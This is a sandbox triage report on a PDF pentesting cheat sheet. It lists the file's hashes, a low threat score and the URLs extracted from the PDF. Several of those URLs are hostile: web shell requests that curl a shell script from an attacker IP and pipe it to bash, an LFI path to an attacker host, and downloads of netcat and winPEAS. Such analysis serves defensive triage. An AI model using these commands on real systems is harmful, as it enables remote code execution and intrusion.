Hoja de trucos-3[.]pdf | Triage

Sharing

Copy URL Twitter E-mail

General

Target

Hoja de trucos-3.pdf
Size

1.1MB
MD5

328b9627c9698d3dd24b4cc99601b6ab
SHA1

0fff42794b188d54c33596d762a61846f31d35c9
SHA256

01789cc6c0331ba663d6811ad3ddff9db4bf7df9658749a932453959e629cc09
SHA512

b847b1cf1c4790138baea0d8d3f8904127dff78b1cacd703e31a8b51b425ee001d0e8fa17904d247ecbf91896fd2d898223f7cd8103904b40449c63e7f0482a2
SSDEEP

24576:kvNZr8nMI1Ma5ESf42MXd0Wsq8Q4jjw6bKjh0NviCH:dMKRfVM2WsqHMbKt0cA

Score

4^/10

pdf link

Malware Config

Signatures

HTTP links in PDF interactive object 1 IoCs

Detects HTTP links in interactive objects within PDF files.

resource	yara_rule
sample	pdf_with_link_action

One or more HTTP URLs in PDF identified
Detects presence of HTTP links in PDF files.
pdf link

Files

Hoja de trucos-3.pdf
.pdf
- https://github.com/Anonimo501/LFI_diccionarios
- https://github.com/Anonimo501/Auto_Wordlists_LFI
- http://unika.htb/index.php?page=//10.10.14.134/algoquenoexista
- http://example.com/
- http://example.com/shell.php?cmd=whoami
- https://www.revshells.com/
- http://example.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash
- http://example.htb/shell.php?cmd=curl%2010.10.14.134:8000/shell.sh|sh
- https://github.com/int0x33/nc.exe/blob/master/nc64.exe?source=post_page-----a2ddc3557403----------------------
- http://10.10.15.40/nc64.exe%20-outfile%20nc64.exe
- http://10.10.14.9/winPEASx64.exe%20-outfile%20winPEASx64.exe
- https://github.com/Anonimo501/SecLists
- https://example/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3
- https://github.com/Anonimo501/Linux-Privilege-Escalation-Basics
- https://github.com/swisskyrepo/PayloadsAllTheThings
- https://github.com/carlospolop/PEASS-ng
- https://github.com/IvanGlinkin/AutoSUID
- https://github.com/sleventyeleven/linuxprivchecker
- https://gtfobins.github.io/
- http://IP:Port/nombre-archivo.sh
- http://SERVER_IP:PORT/FUZZ
- http://SERVER_IP:PORT/indexFUZZ
- http://SERVER_IP:PORT/blog/FUZZ.php
- https://fuzz.hackthebox.eu/
- Show all